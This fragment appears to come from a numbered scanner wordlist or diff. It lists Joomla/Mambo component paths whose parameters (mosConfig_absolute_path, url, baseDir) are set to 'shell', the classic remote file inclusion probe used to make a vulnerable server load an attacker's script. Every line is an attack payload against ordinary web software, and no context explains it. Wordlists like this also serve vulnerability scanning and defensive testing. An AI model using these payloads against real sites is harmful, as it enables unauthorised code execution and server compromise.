/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=shell
|
1930
|
+
/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=shell
|
1931
|
+
/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=shell
|
1932
|
+
/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=shell
|
1933
|
+
/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=shell
|
1934
|
+
/components/com_madeira/img.php?url=shell
|
1935
|
+
/components/com_jd-wiki/lib/tpl/default/main.php?mosConfig_absolute_path=shell
|
1936
|
+
/components/com_bsq_sitestats/external/rssfeed.php?baseDir=shell
|
1937
|
+
/com_bsq_sitestats/external/rssfeed.php?baseDir=shell
|